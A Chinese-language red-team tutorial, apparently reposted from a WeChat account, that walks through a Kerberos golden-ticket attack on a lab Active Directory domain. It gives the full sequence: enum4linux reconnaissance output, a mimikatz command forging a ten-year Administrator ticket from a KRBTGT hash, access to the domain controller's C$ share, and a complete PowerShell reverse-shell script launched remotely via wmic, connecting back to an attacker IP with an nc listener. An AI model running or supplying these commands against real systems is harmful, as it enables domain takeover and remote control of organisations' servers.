红队视角之黄金票据(三)

admin 2023年9月14日10:22:15评论29 views字数 5378阅读17分55秒阅读模式

什么是金票?

在继续之前,先简单回顾一下 Microsoft Kerberos 架构:

         红队视角之黄金票据(三)

为了使用 Kerberos 协议访问 Windows AD 网络上的资源,首先您必须获取 TGT 票证,您将使用它来请求所请求服务 (TGS) 的票证。票证由在域控制器上运行的 KDC 服务器服务传递。

知道了?这里出现了“金票”攻击,它允许您离线创建伪造的 Kerberos 票证授予票证 (TGT),以获取未经授权的访问,冒充任何域用户,并且有效期为 10 年或只要您选择!

创建这张金票需要什么?

1.域名

2.AD 域安全标识符 (SID)

3.有效的用户名(当然是管理员!)

4.KRBTGT 账户的哈希值

域名和域不是问题,例如您可以在 Linux 机器上使用“enum4linux”工具(您只需要 DC 的 IP 地址):


#enum4linux 10.1.3.40Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Feb 14 22:10:13 2017 ==========================| Target Information |==========================Target ........... 10.1.3.40RID Range ........ 500-550,1000-1050Username ......... ''Password ......... ''Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none =======================================================| Enumerating Workgroup/Domain on 10.1.3.40 |=======================================================[+] Got domain/workgroup name: DUMMYCOMPANY ===============================================| Nbtstat Information for 10.1.3.40 |===============================================Looking up status of 10.1.3.40SERVER2012DC - B Workstation ServiceDUMMYCOMPANY - B Domain/Workgroup NameDUMMYCOMPANY - B Domain ControllersSERVER2012DC - B File Server ServiceDUMMYCOMPANY - B Domain Master Browser MAC Address = 08-00-27-DC-6C-54...... ==============================================| Getting domain SID for 10.1.3.40 |==============================================Domain Name: DUMMYCOMPANYDomain Sid: S-1-5-21-3534665177-2148510708-2241433719[+] Host is part of a domain (not a workgroup)=========================================| OS information on 10.1.3.40 |=========================================[+] Got OS info for 10.1.3.40 from smbclient: Domain=[DUMMYCOMPANY] OS=[Windows Server 2012 R2 Datacenter 9600] Server=[Windows Server 2012 R2 Datacenter 6.3]


由于您以匿名用户身份连接,因此您会收到许多“访问被拒绝”的信息,但所有必要的内容都会交付给您

为了获取域的 FQDN,只需尝试指向 DC 上托管的 DNS 服务器的简单反向 nslookup:


# nslookup> server 10.1.3.40Default server: 10.1.3.40Address: 10.1.3.40#53> set q=ptr> 10.1.3.40Server: 10.1.3.40Address: 10.1.3.40#53 40.3.2.10.in-addr.arpa name = server2012dc.dummycompany.local


知道了?现在是最后一个,KRBTGT 哈希,但首先,这个帐户是什么?

“KRBTGT 帐户是本地默认帐户,充当密钥分发中心 (KDC) 服务的服务帐户。该帐户无法删除,也无法更改帐户名。无法在 Active Directory 中启用 KRBTGT 帐户。”

是的,我们有 KRBTGT 帐户密码的哈希值,还记得吗?

我们唯一可能面临的问题是,虽然“krbtgt”的密码被更改,但由于此操作对整个域的严重影响,情况可能不会如此。仅当发生安全问题(例如“金票”证据  )时,管理员才会更改此密码

简而言之,我们有以下信息:

1.域名:DUMMYCOMPANY

2.用户名:管理员

3.SID:S-1-5-21-3534665177-2148510708-2241433719

4.KRBTGT 哈希:3003567af268a4a94e26f410e84353f1

打造“金票”

现在是将我们上面讨论的所有内容付诸实践的时候了。首先,启动安装了“ mimikatz ”的 Windows 盒子!

在 Windows(虚拟或物理)计算机上,使用本地管理员权限登录,打开提升的命令提示符并启动“mimikatz.exe”


mimikatz # kerberos::golden /admin:Administrator /domain:DUMMYDOMAIN.LOCAL /sid:S-1-5-21-3534665177-2148510708-2241433719 /krbtgt:3003567af268a4a94e26f410e84353f1 /ticket:admin.krb /ptt User : AdministratorDomain : DUMMYDOMAIN.LOCAL (DUMMYDOMAIN)SID : S-1-5-21-3534665177-2148510708-2241433719User Id : 500Groups Id : *513 512 520 518 519ServiceKey: 3003567af268a4a94e26f410e84353f1 - rc4_hmac_ntLifetime : 2/14/2017 11:08:35 PM ; 2/12/2027 11:08:35 PM ; 2/12/2027 11:08:35 PM-> Ticket : admin.krb * PAC generated* PAC signed* EncTicketPart generated* EncTicketPart encrypted* KrbCred generated Final Ticket Saved to file !


因此,我们告诉 mimikatz 在 DUMMYDOMAIN.LOCAL 上为用户管理员生成一张包含所有必要参数的“金票”,并将其生成到文件中以供以后使用。最后一个选项 /ptt 告诉 mimikatz 直接在 memroy 中加载新创建的票据,为“传递票据”操作做好准备。

现在,我们可以退出 mimikatz 并从我们的命令 shell 列出票证:


C:UsersAdministrator>klist Current LogonId is 0:0x219fd Cached Tickets: (1) #0> Client: Administrator @ DUMMYDOMAIN.LOCALServer: krbtgt/DUMMYDOMAIN.LOCAL @ DUMMYDOMAIN.LOCALKerbTicket Encryption Type: RSADSI RC4-HMAC(NT)Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authentStart Time: 2/15/2017 7:14:56 (local)End Time: 2/13/2027 7:14:56 (local)Renew Time: 2/13/2027 7:14:56 (local)Session Key Type: RSADSI RC4-HMAC(NT)Cache Flags: 0x1 -> PRIMARYKdc Called:


伟大的!终于我们有了“金票”,看看有效期,10年!!

有效吗?让我们尝试列出域控制器 C: 驱动器的内容。但首先,将服务器的名称映射到主机文件中或将 DNS 服务器直接指向域控制器,这取决于您!如果您尝试通过 IP 地址映射资源,NTLM 身份验证将生效,您将得到的只是“访问被拒绝”。


C:UsersAdministrator>dir \server2012dc.dummydomain.localc$Volume in drive \server2012dc.dummydomain.localc$ has no label.Volume Serial Number is A2D7-CEAD Directory of \server2012dc.dummydomain.localc$ 08/22/2013 07:52 AM PerfLogs08/22/2013 06:50 AM Program Files01/13/2017 10:35 PM PProgram Files (x86)01/27/2017 03:57 AM temp01/27/2017 02:43 AM test01/27/2017 01:37 AM Users...


惊人的!我们列出了属于域控制器“server2012dc”的C:驱动器的内容,我们拥有域管理员权限!

现在让我们更进一步,使用管理员权限访问文件系统(本地或共享)是一个很好的结果,但我们想要更多.. 与域控制器交互的 shell 怎么样?这将是一件大事……可能吗?是的当然!

但这并不那么容易:我们如何获得使用 kerberos 票证进行身份验证的远程 shell?

为了实现这个目标我们需要什么?

下面就来发挥一下奇妙的 MS 内置工具“wmic.exe”。

这个工具是WMI (Windows Management Instrumentation)的命令行前端,你猜怎么着?可以在通过 kerberos 进行身份验证的远程计算机上生成进程!

我们将在域控制器上复制此反向 shell 脚本(假设您的 IP 是 10.1.2.40):


>c:usersadministrator>type rev.ps1$client = New-Object System.Net.Sockets.TCPClient('10.1.2.40',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() c:usersadministrator>copy rev.ps1 \server2012dc.dummycompany.localc$windowstemp


之后,我们可以从 wmic 调用 powershell 脚本(记住在 Linux 机器上启动“nc -lp 8080”!):


wmic /authority:"kerberos:DUMMYDOMAINSERVER2012DC" /node:server2012dc process call create "powershell -f c:windowstemprev.ps1"


 我们的终端中查看:


connect to [10.1.2.40] from server2012dc.dummydomain.local [10.1.3.40] 62471 PS C:Windowssystem32>PS C:Windowssystem32>PS C:Windowssystem32> whoamidummycompanyadministrator


我们做到了,结束。


         

原文始发于微信公众号(红队笔记录):红队视角之黄金票据(三)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月14日10:22:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队视角之黄金票据(三)http://cn-sec.com/archives/2036745.html

发表评论

匿名网友 填写信息